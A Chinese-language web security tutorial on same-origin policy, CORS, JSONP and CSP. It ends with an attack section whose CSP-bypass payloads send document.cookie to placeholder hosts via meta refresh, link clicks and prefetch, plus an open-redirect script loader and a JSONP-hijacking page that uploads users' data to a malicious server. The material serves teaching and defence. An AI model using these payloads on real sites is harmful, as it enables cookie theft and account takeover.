同源策略与跨域
同源策略
同源的定义
若两个URL 协议,端口,host都相同,则这两个URL同源。 这个方案叫做“协议/主机/端口元组”,或者直接是 “元组”
同源策略又分为DOM同源策略(禁止对不同源的页面的DOM进行操作)和XMLHttpRequest(禁止XHR对象项不同源的服务器地址发起HTTP请求)同源策略
同源策略的作用
限制一个JS脚本对不同源的URL进行操作。
这么说可能会有点抽象,那不如看看下面的例子:
1.如果没有DOM同源策略,就意味着一个页面可以对任意页面的DOM进行操作。那么就会导致以下安全问题: 做一个假网站,并插入一个占满全页面的iframe指向一个登陆界面如银行登录界面。用户进来后会发现除了域名不同,其他都和正常的银行登陆界面一致。若用户输入了账号密码,那么我们就可以跨域读取到银行登陆界面的dom树,从而读取用户输入的账号密码。
2.如果没有XMLHttpRequest,就意味着可以一个页面可以向任意页面发起HTTP请求。那么就会导致以下安全问题: 当一个用户登陆了某个系统,如银行个人系统,此时银行网站会给用户返回cookie。如果用户此时访问了我们的恶意网站,就会执行我们恶意网站中的恶意AJAX代码,此AJAX代码会向银行网站发起HTTP请求,比如发起查询账户余额的请求(此时会默认附带用户的cookie)。银行页面发现cookie无误,就会返回请求的数据:账户余额,造成数据泄露。
跨域
上面我们说了同源策略中,一个页面不能对不同源的页面进行操作。但是在实际情况中,还是有一些js标签能摆脱这种束缚,如script标签就能通过src属性获取不同源页面上的js代码,iframe能嵌入不同源站点的资源等等。 这样的标签有如下
代码语言:javascript复制<script src="..."></script>
<link rel="stylesheet" href="...">
<img> / <video> / <audio>
<object> <embed> 和 <applet> 的插件
@font-face
<frame> 和 <iframe>
但仅仅是这样,有些时候还是无法达到业务的需求,我们有时需要突破这种限制来达到业务需求,也就是避开同源策略,以下是几种解决方案。
CORS
CORS,即跨域资源共享,它是一个W3C标准,定义了必须访问跨域资源时,浏览器和服务器该如何协商。 其实质就是以AJAX为载体,使用自定义HTTP头让浏览器与服务器进行协商,从而决定跨域请求是否应该成功。 所以实现CORS通信的关键是服务器是否实现了CORS接口。
另外,并不是所有浏览器都支持CORS,比如IE6,IE7,Opera min 不支持CORS。
实现原理
浏览器把CORS的请求分成两类:简单请求与非简单请求
简单请求: 满足以下条件,即为简单请求
代码语言:javascript复制请求方法是以下三种方法之一:
HEAD
GET
POST
且HTTP的头信息不超出以下几种字段:
Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:只限于三个值 application/x-www-form-urlencoded、multipart/form-data、text/plain
只要不满足以上条件,都为非简单请求。
对于简单请求,其实现原理如下:
1.在请求头中加一个额外头:Origin, 其包含发出请求的页面的协议,域名,端口,服务器以此来判断是否给予响应。 2.服务器收到请求后,判别该Origin指向的站点能否跨域。若能跨域,就在 Access-Control-Allow-Origin 头部中回发相同的源信息(如果是公共资源,可以回发 * );若不能跨域,则没有这个头部或者源信息不匹配(即Access-Control-Allow-Origin内容非*且与Origin不符) 3.同时如果服务器返回的头中有 Access-Control-Allow-Credentials: true ,则说明可以跨域向服务器发送带有cookie的HTTP请求。
对于非简单请求,它会实现进行预检,其原理如下: 1.进行预检,以OPTIONS方法向服务器发送Origin头部,Access-Control-Request-Method头部(接下来的请求方法,如POST),Access-Control-Request-Headers(自定义头部信息,可选) 2.服务器响应,有如下头:Access-Control-Allow-Origin,Access-Control-Allow-Methods(允许的请求方法),Access-Control-Allow-Headers(允许的自定义头部信息),Access-Control-Max-Age(应该将预检请求缓存多长时间,以秒为单位) 3.通过预检请求后,以后每次浏览器的CORS请求都会和简单请求一样。
JSONP
我们不妨通过一个例子来窥视JSONP的实现原理。
我们有如下文件test.html
代码语言:javascript复制<html>
<head></head>
<body>
<h1>HI</h1>
<script>
var fun1=function(data){
alert(data)
}
</script>
<script type="text/javascript" src="http://192.168.111.1/a.js"></script>
</body>
</html>
其包含的a.js如下
代码语言:javascript复制fun1("remote data");
访问test.html,成功触发弹窗,我们将test.html中的fun1函数称为回调函数
于是就出现了利用这种原理来实现跨域传输数据的方法:JSONP
下面说说JSONP的具体实现流程:
客户端: 1.定义获取数据后的回调函数 2.动态生成服务端JS进行引用的代码
代码语言:javascript复制关于此处第2点,我们可以说道说道。
我们再用这个方法实现跨域时,怎么让远程JS知道我们本地的回调函数叫什么名字?
这就需要通过一些手段动态生成服务端的JS代码了。
比如我们可以通过get参数来控制其返回的本地回调函数名,如: http://a.com?callback=fun1
服务端: 返回由回调函数名包裹的JSON数据,如
代码语言:javascript复制fun1({
"key1":"value1"
});
这里为什么要特别强调是JSON呢?因为JSON不仅可以简洁的表述复杂的数据,而且JS原生支持JSON,可以在客户端自由处理JSON数据,所以服务端多传回JSON数据,JSONP这个名字也是这么来的。
CSP
CSP,即内容安全策略。它通过白名单策略,告诉客户端哪些外部资源可以加载和执行。 同时需要注意的是,CSP目前有1.0 2.0 3.0 版本,每个版本的规则都有不同
CSP规则
CSP通过定义一系列规则来实现安全管理。
首先我们来看看一条CSP规则的范例
代码语言:javascript复制Content-Security-Policy: default-src https://host1.com https://host2.com; frame-src 'none'; object-src 'none'
多个CSP指令间用分号隔开,多个指令值之间用空格隔开
下面是各个指令及其指令值的效果
摘自https://blog.csdn.net/qq_37943295/article/details/79978761
启用CSP
那么如何启用CSP呢?有两种方式
1.在HTTP头添加 在HTTP头响应添加content-security-policy头并写入CSP规则以后,就能启用CSP了
图引用于http://www.ruanyifeng.com/blog/2016/09/csp.html
2.在meta标签里添加 向内添加如下内容
代码语言:javascript复制<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
即可
一些其他XSS保护机制
X-Frame
X-Frame-Options 是一个响应头,指定此页面能否在<frame>或者<iframe>中插入. 他有三个可选值:
- DENY 页面不能被嵌入到任何iframe或frame中
- SAMEORIGIN 页面只能被本站页面嵌入到iframe或者frame中
- ALLOW-FROM uri 表示该页面可以在指定来源的 frame 中展示。
XSS auditor
httponly
httponly 是一个针对cookie的保护机制。 其实现原理是在response中对某一项cookie设置为HTTPONLY=true,从而使该cookie不能被document.cookie 读取。
我们随便找个网站,发现其captch_session_v2开启了httponly
随后我们通过document.cookie尝试去读取aptch_session_v2的值,发现其值并没有出现在返回内容中
htmlspecialchars
htmlspecialchars是一个php函数,它可以将一些敏感字符转义
代码语言:javascript复制& (AND) => &
" (双引号) => " (当ENT_NOQUOTES没有设置的时候)
' (单引号) => ' (当ENT_QUOTES设置)
< (小于号) => <
> (大于号) => >
攻击手段
bypass csp
csp,是可以被bypass的。我们接下来就想办法bypass csp来回传cookie
1
代码语言:javascript复制default-src 'none';
可以通过meta标签实现重定向
代码语言:javascript复制<meta http-equiv="refresh" content="1;url=http://www.xxx.com/x.php?cookie=[cookie]">
即,1秒后跳转至指定url
2
代码语言:javascript复制script-src ‘self’ ‘unsafe-inline’
开放了内联脚本。我们可以通过window.location,windows.open或者meta标签实现页面跳转。也可以通过动态创建元素实现跳转
代码语言:javascript复制var a = document.createElement("a");
a.href='http://www.baidu.com' document.cookie;
a.click();
3
代码语言:javascript复制default-src 'self'; script-src 'self'
限制了只能加载本域JS脚本,同时禁止了内联脚本执行。 不过问题不大,如果我们有一个上传点,我们可以上传一个恶意JS文件,上传后如果我们知道此JS文件上传位置与文件名且上传的位置是本域,然后通过XSS实现加载此恶意JS文件。
另外在CSP1.0版本中,还可以通过以下方式进行跳转(现在不咋好用了)
代码语言:javascript复制<link rel="prefetch" href="http://xxx.cn"> (H5预加载)
<link rel="dns-prefetch" href="http://xxx.cn"> (DNS预加载)
4
代码语言:javascript复制script-src http://www.a.com/b/
限制了只能从某特定路径去加载JS脚本 对此一般的解决方法是看看此目录下有没有可控重定向的文件,比如这种
代码语言:javascript复制b/302.php
<?php Header("location: ".$_GET['url'])?>
我们就可以插入
代码语言:javascript复制<script src="b/302.php?url=http://a.com/upload/a.js">
</script>
去加载我们上传的JS脚本(上传点自己找)
JSONP 劫持
简单说一说
首先存在网站B,它包含登录用户的ID,passwd等敏感信息。且有页面http://B.com/user?callback= 用来进行JSONP跨域数据传输ID,PASSWD等信息,这是前提。 用户登录B后,打开了我们的恶意网站A.com,A.com的内容为:
代码语言:javascript复制<script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script>
function Callback(result)
{
将获取内容上传至恶意服务器的JS代码.....
}
那么A网站就会向网站B跨域请求到敏感信息,并上传到恶意服务器保存。 这就是JSONP劫持,此方法常用于水坑攻击
常用触发点与bypass
https://wooyun.js.org/drops/Bypass xss过滤的测试方法.html